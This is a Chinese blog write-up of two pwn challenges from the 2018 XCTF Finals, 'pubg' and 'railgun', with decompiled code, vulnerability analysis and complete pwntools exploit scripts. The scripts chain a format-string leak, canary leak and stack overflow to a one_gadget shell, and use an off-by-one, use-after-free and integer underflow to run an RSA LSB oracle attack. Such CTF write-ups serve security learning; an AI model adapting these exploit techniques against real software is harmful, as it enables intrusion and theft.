美文网首页
2018-XCTF Finals

2018-XCTF Finals

作者: Kirin_say | 来源:发表于2018-11-19 21:39 被阅读111次

跟随航神、肖神等一众大神参加了2018 XCTF Finals
虽然最后成绩不太好(我就是唯一拖后腿那个),但跟着大佬们学到很多东西
而且第二天pwnhub线下沙龙抽中了华为P20(happy&&会上干货满满,感受到大佬们的强大)
感谢几位学长带飞,这里整理一下几个题目,因为是Finals,写的比较详(zhi)细(zhang)

0x01 pubg

分析

首先可以看到存在格式化字符串漏洞:

  for ( j = 0; j <= 3; ++j )
  {
    if ( s[j] != buf[j] )
    {
      printf(s);                                // 格式化字符串
      puts(" has no airdrop");
      return __readfsqword(0x28u) ^ v4;
    }
  }

不过:

  for ( i = 0; i <= 2; ++i )
  {
    if ( strstr(s, (const char *)*(&off_564C5C3D70B0 + i)) )
    {
      puts("error!");
      exit(-1);
    }
  }

其对输入进行了过滤:

.rodata:0000564C5C1D57A6 unk_564C5C1D57A6 db  24h ; $            ; DATA XREF: .data:off_564C5C3D70B0↓o
.rodata:0000564C5C1D57A7                 db    0
.rodata:0000564C5C1D57A8 unk_564C5C1D57A8 db  6Eh ; n            ; DATA XREF: .data:0000564C5C3D70B8↓o
.rodata:0000564C5C1D57A9                 db    0
.rodata:0000564C5C1D57AA unk_564C5C1D57AA db  2Ah ; *   

输入的字符串不能包含"$"/"n"/"*"
这里patch的时后改printf为puts不能过check
最后我将"*"改为"%",过滤掉"%"
不过有一支队伍一直可以打过来,猜测是一直连着我们的shell,没有断开
最后在流量中果然只有一句"cat flag",orz

这里可以利用"%x%x%x%p"来leak libc
同时第二个%x会leak edx的值:

.text:000055FCB7F095D2 movzx   ecx, [rbp+rax+s]
.text:000055FCB7F095D7 mov     eax, [rbp+var_24]
.text:000055FCB7F095DA movsxd  rdx, eax
.text:000055FCB7F095DD lea     rax, buf
.text:000055FCB7F095E4 movzx   eax, byte ptr [rdx+rax]
.text:000055FCB7F095E8 cmp     cl, al
.text:000055FCB7F095EA jz      short loc_55FCB7F0960B
.text:000055FCB7F095EC lea     rax, [rbp+s]
.text:000055FCB7F095F0 mov     rdi, rax                        ; format
.text:000055FCB7F095F3 mov     eax, 0
.text:000055FCB7F095F8 call    printf

可以看到:

edx->eax->rbp+var_24->当前循环j值->已经猜对的位数

因此利用第二个数可以很快爆破出三位password(第四位恒为"\x00")
继续往下可以看到栈溢出:

unsigned __int64 fight()
{
  __int16 v1; // [rsp+4h] [rbp-Ch]
  __int16 v2; // [rsp+6h] [rbp-Ah]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v2 = 0;
  v1 = 0x20;
  puts("the robot has ghillie suit, so you can only see it once");
  while ( *(_DWORD *)(98k + 20) > 0 && *((_DWORD *)my_gun + 5) > 0 )
  {
    *((_DWORD *)my_gun + 5) -= *(_DWORD *)(98k + 16);
    if ( v2 == 1 )
      *(_DWORD *)(98k + 20) -= *((_DWORD *)my_gun + 4);
    ++v2;
  }
  if ( *((_DWORD *)my_gun + 5) <= 0 )
  {
    puts("You're killed by 98K");
  }
  else
  {
    puts("Winner winner,chicken dinner. The whole memory is yours, now pick one chicken:");
    leak_any(&v1);
  }
  return __readfsqword(0x28u) ^ v3;
}

可以看到当fight成功时会调用leak_any(&v1)
这里注意:

  __int16 v1; // [rsp+4h] [rbp-Ch]
  __int16 v2; // [rsp+6h] [rbp-Ah]

而在leak_any中:

unsigned __int64 __fastcall leak_any(_DWORD *a1)
{
  __int64 v1; // ST18_8

  LODWORD(read_size) = *a1;
  v1 = get_num_();
  printf("The %s chicken is on your plate, enjoy it~\n", v1);
  return get_flag();
}

会将传入的参数视为DWORD*
所以,当传入参数时fight的v2不为0, LODWORD(read_size) = *a1;则会将read_size设置为一个很大的数,而在get_flag中:

unsigned __int64 get_flag()
{
  char s; // [rsp+0h] [rbp-30h]
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(&s, 0, 0x20uLL);
  read_note((__int64)&s, read_size);
  return __readfsqword(0x28u) ^ v2;
}

可以看到会 read_note((__int64)&s, read_size),当read_size非常大时便会栈溢出(s的缓冲区长度->0x30-0x8=0x28)
故而:

1  需要fight成功(至少调用过fight的while循环,此时v2一定不为0)->栈溢出
2  栈溢出需要leak canary

根据程序流fight成功只需要拿到AWM即可(爆破3位password)
leak canary:
首先想到使用libc地址leak _environ,然后找到栈中一个cannary的地址来leak canary,不过因为格式化字符串的长度限制,以及只有一次任意地址读,没办法实现,只能从能用leak libc后直接一步确定的地址来leak canary
这里不太明白这个地址处为何存在canary,准备研究一下canary的具体底层原理:
动态调试中,我在leak libc的那个地址(即格式化字符串中利用r8寄存器%p得到的地址)周围搜索canary,找到偏移0x28处即存在canary,然后在fight成功后有一次任意地址读取即可leak 0x29偏移处(canary最低位为"\x00",故而leak 0x28+1位置)的%s,即可得到canary

leak canary后,正常的栈溢出,覆盖返回地址为one_gadget,同时用"\x00"填充栈来满足one_gadget条件即可:

EXP

from pwn import *

def leak_libc():
    p.recvuntil("> ")
    p.sendline("2")
    p.recvuntil(":\n")
    p.sendline("%x%x%x%p")
    p.recv(5)
    return int(p.recvuntil("\n").strip(),16)

def get_pass():
  ans=""
  for i in range(3):
   for j in range(1,256):
     payload=ans+chr(j)+"%x%x"
     payload=payload.replace("$"," ").replace("n"," ").replace("*"," ")
     p.recvuntil("> ")
     p.sendline("2")
     p.recvuntil("\n")
     p.sendline(payload)
     p.recvuntil("2a")
     k=p.recv(1)
     if k==str(i+1):
        ans+=chr(j)
        break
  p.recvuntil("> ")
  p.sendline("2")
  p.recvuntil(":\n")
  p.sendline(ans+"\x00")

#context.log_level='debug'
p=process("./pubg")

#leak libc
p.recvuntil("> ")
p.sendline("1")
p.recvuntil("> ")
p.sendline("1")
libc_addr=leak_libc()-0x5cf700
print "libc:{}".format(hex(libc_addr))

#get AWM
get_pass()

#leak canary
canary_addr=libc_addr+0x5cf700+0x29
p.recvuntil("> ")
p.sendline("1")
p.recvuntil(":\n")
p.sendline(str(canary_addr))
p.recvuntil("The ")
canary="\x00"+p.recv(7)
print "canary:{}".format(hex(u64(canary)))

#get shell
p.recvuntil("~\n")
payload="a"*0x28+canary+"a"*8+p64(libc_addr+0x4526a)+"\x00"*0x40
p.sendline(payload)
p.interactive()

0x02 railgun

比赛时候飞神第一天晚上秒的题(膜启飞学长),照着exp复现一下:

main:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  signed __int64 v3; // rsi
  int v4; // eax
  signed int i; // [rsp+4h] [rbp-1Ch]
  signed int j; // [rsp+4h] [rbp-1Ch]
  signed int v8; // [rsp+8h] [rbp-18h]
  int v9; // [rsp+Ch] [rbp-14h]
  int v10; // [rsp+Ch] [rbp-14h]
  char nptr[5]; // [rsp+13h] [rbp-Dh]
  unsigned __int64 v12; // [rsp+18h] [rbp-8h]
  __int64 savedregs; // [rsp+20h] [rbp+0h]

  v12 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  v3 = 0LL;
  setvbuf(stderr, 0LL, 2, 0LL);
  info1();
  sha256__0();
  flag_enc();
  while ( 2 )
  {
    v8 = menu();
    switch ( (unsigned int)&savedregs )
    {
      case 1u:
        puts("[+]modify player information");
        printf("[-]description:", v3);
        v4 = read_nSize((__int64)description_addr, 255);
        *((_BYTE *)description_addr + v4) = 0;
        printf("[-]name:", 255LL);
        v3 = 32LL;
        *((_BYTE *)&name_addr + (signed int)read_nSize((__int64)&name_addr, 32)) = 0;
        continue;
      case 2u:
        puts("[+]mining coins");
        if ( (unsigned __int8)sha256_() )
        {
          v3 = (unsigned __int8)++coin_num;
          printf("[+]success! coinnumber:%d\n", (unsigned __int8)coin_num);
        }
        continue;
      case 3u:
        puts("[+]game status");
        printf("[+]name:%s\n", &name_addr);
        printf("[+]description:%s\n", description_addr);
        v3 = (unsigned __int8)coin_num;
        printf("[+]coin:%d\n", (unsigned __int8)coin_num);
        for ( i = 0; i <= 9; ++i )
        {
          v3 = (unsigned int)i;
          printf("[+]boss_%d level%d ", (unsigned int)i, *(unsigned __int8 *)(*(&name_addr + i + 4LL) + 16LL));
          if ( *(_BYTE *)(*(&name_addr + i + 4LL) + 17LL) )
            puts("alive");
          else
            puts("dead");
        }
        printf("[+]pub:");
        put_str(rsa_n);
        continue;
      case 4u:
        puts("[+]index attack");
        printf("[+]", v3);
        put_str(rsa_addr);
        continue;
      case 5u:
        puts("[+]bilibili railgun");
        if ( coin_num )
        {
          --coin_num;
          printf("[-]chose a boss:", v3);
          v3 = 4LL;
          nptr[(signed int)read_nSize((__int64)nptr, 4)] = 0;
          v9 = atoi(nptr);
          if ( v9 < 0 || v9 > 9 )
          {
            puts("[+]bad choice");
            return 0LL;
          }
          sub_5633C0D860EF(v9);
        }
        else
        {
          puts("[+]no much more coins");
        }
        continue;
      case 6u:
        puts("[+]accelerator attack");
        if ( (unsigned __int8)coin_num <= 0xC7u || dword_5633C0F880F0 != 10 )
        {
          puts("[+]no much more coins or boss_9 is deleted already");
        }
        else
        {
          coin_num += 56;
          free(ptr);
          dword_5633C0F880F0 = 9;
          puts("[+]delete boss_9");
        }
        continue;
      case 7u:
        puts("[+]comment for railgun");
        if ( comment_addr )
        {
          v3 = (signed __int64)comment_addr;
          printf("[+]%s\n", comment_addr);
        }
        printf("[-]comment lenth:", v3);
        nptr[(signed int)read_nSize((__int64)nptr, 4)] = 0;
        v10 = atoi(nptr);
        if ( v10 > 0 && v8 <= 256 )
        {
          comment_addr = malloc(v10);
          printf("[-]comment:", 4LL);
          v3 = (unsigned int)(v10 - 1);
          *((_BYTE *)comment_addr + (signed int)read_nSize((__int64)comment_addr, v3)) = 0;
          continue;
        }
        puts("[+]bad comment");
        return 0LL;
      case 8u:
        puts("[+]check");
        printf("[+]", v3);
        put_str(qword_5633C0F882E0);
        continue;
      case 9u:                                  // exit
        puts("[+]bye~");
        for ( j = 0; j <= 9; ++j )
          free((void *)*(&name_addr + j + 4LL));
        free(description_addr);
        if ( comment_addr )
          free(comment_addr);
        BN_free(rsa_p);
        BN_free(rsa_q);
        BN_free(rsa_n);
        BN_free(rsa_e);
        BN_free(rsa_d);
        BN_free(qword_5633C0F882D0);
        BN_free(qword_5633C0F882D8);
        BN_free(qword_5633C0F882E0);
        BN_free(rsa_addr);
        return 0LL;
      default:
        puts("[+]wrong choice");
        return 0LL;
    }
  }
}

menu:

[+menu+]
[+]1.modify
[+]2.mining
[+]3.status
[+]4.index
[+]5.railgun
[+]6.accelerator
[+]7.comment
[+]8.check
[+]9.exit

sha256:

程序开始的检测

  fd = open("/dev/urandom", 0);
  if ( fd == -1 )
  {
    puts("[+]create random for pow error");
    exit(0);
  }
  if ( read(fd, &buf, 6uLL) != 6 )
    exit(-1);
  close(fd);
  SHA256(&buf, 6LL, &v9);
  printf("[+]PoW", 6LL);
  putchar(58);
  sub_5633C0D8520A((__int64)&v9, 32);
  putchar(43);
  put_hex_str((__int64)&buf, 4u);
  printf("[-]PaD:", 4LL);
  str2hex((char *)&v2, (__int64)&v7, 2);
  *((_BYTE *)&v4 + (signed int)read_nSize((__int64)&v4, 5)) = 0;
  if ( (unsigned __int8)v4 != (char)v2
    || BYTE1(v4) != SBYTE1(v2)
    || BYTE2(v4) != SBYTE2(v2)
    || HIBYTE(v4) != SHIBYTE(v2) )
  {
    puts("[+]bad PoW");
    exit(0);
  }
  return __readfsqword(0x28u) ^ v14;

流程与mining coins时相同:

首先随机生成 6 bytes password
而后程序输出sha256(password)+password[:4]
要求我们破解password的后2 bytes(16进制形式输入)

flag_enc

unsigned __int64 flag_enc()
{
  void *v0; // rax
  int v1; // eax
  __int64 v2; // rdi
  __int64 v3; // rsi
  __int64 v4; // rdi
  __int64 v5; // rsi
  __int64 v6; // rdi
  __int64 v7; // rdi
  size_t v8; // rax
  char *v9; // rdi
  signed int i; // [rsp+Ch] [rbp-264h]
  unsigned int fd; // [rsp+14h] [rbp-25Ch]
  int fda; // [rsp+14h] [rbp-25Ch]
  __int64 v14; // [rsp+18h] [rbp-258h]
  __int64 v15; // [rsp+20h] [rbp-250h]
  __int64 v16; // [rsp+28h] [rbp-248h]
  __int64 v17; // [rsp+30h] [rbp-240h]
  __int64 v18; // [rsp+38h] [rbp-238h]
  __int64 v19; // [rsp+40h] [rbp-230h]
  __int64 v20; // [rsp+48h] [rbp-228h]
  __int64 v21; // [rsp+50h] [rbp-220h]
  __int64 v22; // [rsp+58h] [rbp-218h]
  char *s; // [rsp+60h] [rbp-210h]
  __int64 v24; // [rsp+68h] [rbp-208h]
  char src; // [rsp+70h] [rbp-200h]
  char v26; // [rsp+90h] [rbp-1E0h]
  char v27; // [rsp+A0h] [rbp-1D0h]
  char v28; // [rsp+C0h] [rbp-1B0h]
  char dest[408]; // [rsp+D0h] [rbp-1A0h]
  unsigned __int64 v30; // [rsp+268h] [rbp-8h]

  v30 = __readfsqword(0x28u);
  coin_num = 0;
  dword_5633C0F880F0 = 10;
  printf("[-]description:");
  v0 = malloc(0x100uLL);
  description_addr = v0;
  v1 = read_nSize((__int64)v0, 255);
  *((_BYTE *)description_addr + v1) = 0;
  printf("[-]name:", 255LL);
  *((_BYTE *)&name_addr + (signed int)read_nSize((__int64)&name_addr, 31)) = 0;
  fd = open("/dev/urandom", 0);
  if ( fd == -1 )
  {
    puts("[+]create random for aeskey error");
    exit(0);
  }
  for ( i = 0; i <= 9; ++i )                    // aeskey
  {
    *(&name_addr + i + 4LL) = malloc(0x12uLL);
    read(fd, (void *)*(&name_addr + i + 4LL), 0x10uLL);
    *(_BYTE *)(*(&name_addr + i + 4LL) + 16LL) = 5;
    *(_BYTE *)(*(&name_addr + i + 4LL) + 17LL) = 1;
  }
  close(fd);
  rsa_p = BN_new(fd);
  rsa_q = BN_new(fd);
  rsa_n = BN_new(fd);
  rsa_e = BN_new(fd);
  rsa_d = BN_new(fd);
  BN_generate_prime(rsa_p, 512LL, 1LL, 0LL, 0LL, 0LL, 0LL);
  v2 = rsa_q;
  BN_generate_prime(rsa_q, 512LL, 1LL, 0LL, 0LL, 0LL, 0LL);
  v16 = BN_CTX_new(v2, 512LL);
  BN_mul(rsa_n, rsa_p, rsa_q, v16);
  BN_CTX_free(v16);
  BN_hex2bn((__int64)&rsa_e, (__int64)"10001");
  v17 = BN_new(&rsa_e);
  v18 = BN_new(&rsa_e);
  v19 = BN_new(&rsa_e);
  v14 = BN_new(&rsa_e);
  BN_hex2bn((__int64)&v14, (__int64)&off_5633C0D86D80);
  BN_sub(v17, rsa_p, v14);
  v3 = rsa_q;
  v4 = v18;
  BN_sub(v18, rsa_q, v14);
  v20 = BN_CTX_new(v4, v3);
  v5 = v17;
  BN_mul(v19, v17, v18, v20);
  v6 = v20;
  BN_CTX_free(v20);
  v21 = BN_CTX_new(v6, v5);
  BN_mod_inverse(rsa_d, rsa_e, v19, v21);
  BN_CTX_free(v21);
  BN_free(v17);
  BN_free(v18);
  BN_free(v19);
  v7 = v14;
  BN_free(v14);
  qword_5633C0F882D8 = BN_new(v7);
  BN_hex2bn(
    (__int64)&qword_5633C0F882D8,
    (__int64)"9907cf1eb4a9c25417fb7418e8bc70098ee6d1b4c65e227d7dbc2071a812126182a02a2ae74d89ae1fea27949414ca99c01f241141b"
             "db6a25ebcb9ab320952dbd200f7504f543ff18e9548841f21eca3dec535cbc4e8bd6ac547a52be99bc19e3653a643789c11006b15fe"
             "8cd9b741808f9b6185f2e0efb025a51513fd6eb0df012f6c654a4b71e7f9890ef6edc7986ecf5715e7a903c0aa96367102ce25abec8"
             "1f1a5c5a66a244edf0d7d382bf5facf842fabcd8a8b9852976c1c6bec4c889768b5d31f435b5124881c60b0a99696b8243ae759df71"
             "86cd512e0e5fcda0e55abd6150399df8047bc45bb72c5e43e8d77473070c15c7d9472516501791e53a7d");
  fda = open("/flag", 0);
  if ( fda == -1 )
  {
    puts("[+]flag location error");
    exit(0);
  }
  read(fda, &flag_str, 0x40uLL);
  close(fda);
  sub_5633C0D85356(&flag_str, 64, (char *)&unk_5633C0F88180, 72);
  str2hex((char *)&unk_5633C0F88200, (__int64)&unk_5633C0F88180, 72);
  rsa_addr = BN_new(&unk_5633C0F88200);
  v15 = BN_new(&unk_5633C0F88200);
  BN_hex2bn((__int64)&v15, (__int64)&unk_5633C0F88200);
  v22 = BN_CTX_new(&v15, &unk_5633C0F88200);
  BN_mod_exp(rsa_addr, v15, rsa_e, rsa_n, v22);
  BN_CTX_free(v22);
  BN_free(v15);
  s = (char *)BN_bn2hex(rsa_d);
  v26 = 0;
  v28 = 0;
  str2hex(&src, aes_key, 16);
  str2hex(&v27, (__int64)ptr, 16);
  memcpy(dest, &src, 0x20uLL);
  memcpy(&dest[32], &v27, 0x20uLL);
  v8 = strlen(s);
  memcpy(&dest[64], s, v8);
  v9 = s;
  dest[strlen(s) + 64] = 0;
  qword_5633C0F882D0 = BN_new(v9);
  qword_5633C0F882E0 = BN_new(v9);
  BN_hex2bn((__int64)&qword_5633C0F882D0, (__int64)dest);
  v24 = BN_CTX_new(&qword_5633C0F882D0, dest);
  BN_mod_exp(qword_5633C0F882E0, qword_5633C0F882D0, rsa_e, qword_5633C0F882D8, v24);
  BN_CTX_free(v24);
  return __readfsqword(0x28u) ^ v30;
}

主要是生成10组随机密钥(ptr处为最后一组):

.bss:00005633C0F88080 name_addr       dq 4 dup(?)             ; DATA XREF: flag_enc+92↑o
.bss:00005633C0F88080                                         ; flag_enc+AD↑o ...
.bss:00005633C0F880A0 aes_key         dq ?                    ; DATA XREF: flag_enc+561↑r
.bss:00005633C0F880A8                 dq ?
.bss:00005633C0F880B0                 dq ?
.bss:00005633C0F880B8                 dq ?
.bss:00005633C0F880C0                 dq ?
.bss:00005633C0F880C8                 dq ?
.bss:00005633C0F880D0                 dq ?
.bss:00005633C0F880D8                 dq ?
.bss:00005633C0F880E0                 dq ?
.bss:00005633C0F880E8 ; void *ptr
.bss:00005633C0F880E8 ptr             dq ?                    ; DATA XREF: flag_enc+582↑r

而后读取64位flag进行rsa加密:

BN_mod_exp(rsa_addr, v15, rsa_e, rsa_n, v22);
*rsa_addr=pow(flag+padding,e,n)//rsa_encode

程序流程

主要流程:
使用mining来获得coin
消耗coin来kill boss
kill boss后,每一个boss对应一个AES key
而后接收一次输入,返回AES_encode(pow(input,rsa_d,rsa_n)&0xF)//AES_encode(rsa_decode)
这里注意BN_bn2hex返回的字符串为BIG-ENDIAN格式:
即0x123456 -> 存储为 "\x12\x34\x56"

kill后:

  printf("[-]send:");
  v17[(signed int)read_nSize((__int64)v17, 2049)] = 0;
  v6 = BN_new(v17);
  v7 = BN_new(v17);
  BN_hex2bn((__int64)&v6, (__int64)v17);
  v8 = BN_CTX_new(&v6, v17);
  BN_mod_exp(v7, v6, rsa_d, rsa_n, v8);
  BN_CTX_free(v8);
  v1 = (char *)BN_bn2hex(v7);
  s = v1;
  v2 = strlen(v1);
  v11 = s[v2 - 1];
  v12 = 'b';
  v13 = 'b';
  fd = open("/dev/urandom", 0);
  if ( fd == -1 )
  {
    puts("[+]urandom open error");
    exit(0);
  }
  read(fd, v14, 0xDuLL);
  v15 = 0;
  close(fd);
  memset(&v16, 0, 0x21uLL);
  AES_enc(&v11, *(&name_addr + (signed int)a1 + 4LL), (__int64)&v16);
  printf("[-]use coins(1/0):");
  nptr[(signed int)read_nSize((__int64)nptr, 4)] = 0;
  v5 = atoi(nptr);
  if ( v5 != 1 && v5 )
  {
    puts("[+]bad choice");
    exit(0);
  }
  if ( v5 == 1 )
  {
    --coin_num;
    printf("[+]pickup:", 4LL);
    put_hex_str((__int64)&v16, 0x10u);
  }
  else
  {
    printf("[+]kill boss_%d\n", a1);
  }
  *(_BYTE *)(*(&name_addr + (signed int)a1 + 4LL) + 17LL) = 0;
  BN_free(v6);
  BN_free(v7);
  return __readfsqword(0x28u) ^ v18;

漏洞

off by one

关注两次name输入过程:
初始时:

  v0 = malloc(0x100uLL);
  description_addr = v0;
  v1 = read_nSize((__int64)v0, 255);
  *((_BYTE *)description_addr + v1) = 0;
  printf("[-]name:", 255LL);
  *((_BYTE *)&name_addr + (signed int)read_nSize((__int64)&name_addr, 31)) = 0;

modify:

      case 1u:
        puts("[+]modify player information");
        printf("[-]description:", v3);
        v4 = read_nSize((__int64)description_addr, 255);
        *((_BYTE *)description_addr + v4) = 0;
        printf("[-]name:", 255LL);
        v3 = 32LL;
        *((_BYTE *)&name_addr + (signed int)read_nSize((__int64)&name_addr, 32)) = 0;
        continue;

可以看到:

 *((_BYTE *)&name_addr + (signed int)read_nSize((__int64)&name_addr, 31)) = 0;
 *((_BYTE *)&name_addr + (signed int)read_nSize((__int64)&name_addr, 32)) = 0;

存在off by one
可以覆盖第一个aes key地址的低字节为\x00
而调试可以看到覆盖为\x00后,此aes key会落在description中
由此第一个aes key可控

UAF:
      case 6u:
        puts("[+]accelerator attack");
        if ( (unsigned __int8)coin_num <= 0xC7u || dword_5633C0F880F0 != 10 )
        {
          puts("[+]no much more coins or boss_9 is deleted already");
        }
        else
        {
          coin_num += 56;
          free(ptr);
          dword_5633C0F880F0 = 9;
          puts("[+]delete boss_9");
        }

可以看到以accelerator attack来delete boss 9后会free(ptr),但没有置空指针,存在UAF
而后可以利用comment:

      case 7u:
        puts("[+]comment for railgun");
        if ( comment_addr )
        {
          v3 = (signed __int64)comment_addr;
          printf("[+]%s\n", comment_addr);
        }
        printf("[-]comment lenth:", v3);
        nptr[(signed int)read_nSize((__int64)nptr, 4)] = 0;
        v10 = atoi(nptr);
        if ( v10 > 0 && v8 <= 256 )
        {
          comment_addr = malloc(v10);
          printf("[-]comment:", 4LL);
          v3 = (unsigned int)(v10 - 1);
          *((_BYTE *)comment_addr + (signed int)read_nSize((__int64)comment_addr, v3)) = 0;
          continue;
        }
        puts("[+]bad comment");
        return 0LL;

利用 comment_addr = malloc(v10)分配comment到已free的ptr的地方并覆盖,这样boss 9对应的aes key便会可控

AES

由uaf或者off by one可以控制第一和第十个aes key,之后依然可以kill boss 0/9,此时kill后因为aes密钥已知,返回AES_encode(pow(input,rsa_d,rsa_n))即可知pow(input,rsa_d,rsa_n)&0xF

int_overflow

看到kill boss后:

  if ( v5 == 1 )
  {
    --coin_num;
    printf("[+]pickup:", 4LL);
    put_hex_str((__int64)&v16, 0x10u);
  }

当coin_num为1时kill boss
而后再使用一个coin,此处没有检测coin_num而直接--coin_num;
便会造成整形溢出为0xFF(255)
这样会省去mining coins的时间

RSA LSB Oracle Attack:

由上可知,程序可以不断获得pow(input,rsa_d,rsa_n)&0xF
那么就可以使用类似RSA LSB Oracle Attack从低位每次得到4 bits,最终拼接为flag+padding而获得flag
其中rsa明文可用index attack得到:

      case 4u:
        puts("[+]index attack");
        printf("[+]", v3);
        put_str(rsa_addr);
        continue;

rsa_e已知
rsa_n可用3输出status时得到:

      case 3u:
        puts("[+]game status");
        printf("[+]name:%s\n", &name_addr);
        printf("[+]description:%s\n", description_addr);
        v3 = (unsigned __int8)coin_num;
        printf("[+]coin:%d\n", (unsigned __int8)coin_num);
        for ( i = 0; i <= 9; ++i )
        {
          v3 = (unsigned int)i;
          printf("[+]boss_%d level%d ", (unsigned int)i, *(unsigned __int8 *)(*(&name_addr + i + 4LL) + 16LL));
          if ( *(_BYTE *)(*(&name_addr + i + 4LL) + 17LL) )
            puts("alive");
          else
            puts("dead");
        }
        printf("[+]pub:");
        put_str(rsa_n);

即:

m=a*16^x+b(a未知,b已知)
y=16^(-x)mod n
Y=y^e mod n
input=rsa_c*Y=(m*y)^e mod n
pow(input,rsa_d,n)=m*y=((a+b*16^(-x))mod n)&0xF  //rsa_decode
b*16^(-x))mod n已知->可得a&0xF
其实不是&0xF,而是最后一个不是\x00的位的最低4bits:
  v2 = strlen(v1);
  v11 = s[v2 - 1];
或者输入rsa_c*16^(xe),最后返回为

EXP

from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.number import *
import libnum
from pwn import *

def get_pass_sha256():
   p.recvuntil(":")
   sha256_encode=p.recvuntil("+")[:-1]
   rand_4bytes=p.recvuntil("\n").strip().decode("hex")
   ans=rand_4bytes
   for i in range(0,256):
     for j in range(0,256):
       final=ans+chr(i)+chr(j)
       if sha256(final).hexdigest()==sha256_encode:
           p.recvuntil("PaD:")
           p.sendline(final[-2:].encode("hex"))

def oracle_dec(cipher_rsa):
    p.sendlineafter("[-]","5")
    p.sendlineafter("[-]chose a boss:","0")
    p.sendlineafter("[-]send:",cipher_rsa)
    p.sendlineafter("[-]use coins(1/0):","1")
    enc = p.recvuntil("\n").split("[+]pickup:")[1].split("\n")[0]
    return encryption_suite.decrypt(enc.decode("hex"))

#context.log_level="debug"
p=process("./railgun")
encryption_suite = AES.new('a'*16, AES.MODE_ECB)

#first sha256
get_pass_sha256()

p.sendlineafter("[-]description:","a"*255)
p.sendlineafter("[-]name:","a"*31)

#off by one
p.sendlineafter("[-]","1")
p.sendlineafter("[-]description:","a"*255)
p.sendlineafter("[-]name:","0"*32)

#get rsa_c
p.sendlineafter("[-]","4")
p.recvuntil("[+]index attack\n[+]")
cipher_rsa = p.recvuntil("\n").split("\n")[0]

#get rsa_n
p.sendlineafter("[-]","3")
p.recvuntil("[+]pub:")
n = int(p.recvuntil("\n").split("\n")[0],16)

#overflow->make coin_num 0xFF
p.sendlineafter("[-]","2")
get_pass_sha256()

#RSA LSB Oracle Attack
invmod_n = libnum.invmod(16,n)
flag = int(cipher_rsa,16)
final_flag,Y,e=0,1,0x10001
for bit in range(200):
        leak_M = oracle_dec(hex(flag*Y)[2:].upper())[0]
        leak_m = (int(leak_M, 16)+16-((final_flag*pow(invmod_n,bit,n))%n%16))%16
        final_flag += (leak_m*(16**bit))
        y = pow(invmod_n, bit+1, n)
        Y = pow(y, e, n)
print libnum.n2s(final_flag)[:64]

剩下的还有几个题目,队里其他大神做的,等到有时间再整理

相关文章

  • 2018-XCTF Finals

    跟随航神、肖神等一众大神参加了2018 XCTF Finals虽然最后成绩不太好(我就是唯一拖后腿那个),但跟着大...

  • 🐣积累单词

    cultivate 培养finals 决赛 Analogy a comparison between two th...

  • [GM2] Warriors vs Cavaliers Live

    watch. nba. finals. 2016. online. Warriors vs Cavaliers,l...

  • KCTF 2019 Finals

    一鼓作气,再而衰,三而竭orz开始准备AK,后面因为参加D3CTF Finals断层,陆陆续续就没有怎么做了 0x...

  • TCTF Finals in Shanghai

    上海之行结束,又一次感受到自己和master of pwn的差距,细数下来,近半年的比赛好像都没去复现,其...

  • HCTF2018 Finals

    prepare Router: Something for pwn: Something wrong with ...

  • Finals Week 冬季恋歌

    每次进门,都能看到我那盆抽出新枝新叶的棕榈。一对新枝从中心伸上来,慢慢向两侧舒展出叶片。这棵棕榈去年Tamra 送...

  • 2019年ACM大赛:北大清华无缘前十,莫斯科大学第一

    4月4日,第43届ACM/ICPC 全球总决赛“2019 ACM/ICPC World Finals”在葡萄牙波尔...

  • Real World CTF 2018 Finals

    Day 0 我们队伍是提前一天到达赛方安排的酒店,因为飞机原因,我最晚到的(大约十点,师傅们已经饿得差不多了),来...

  • CCPC 2016-2017, Finals

    A - The Third Cup is Free HDU - 5999 题意:每买三杯饮料,最便宜的一杯免费。签...

网友评论

      本文标题:2018-XCTF Finals

      本文链接:https://www.haomeiwen.com/subject/oiisxqtx.html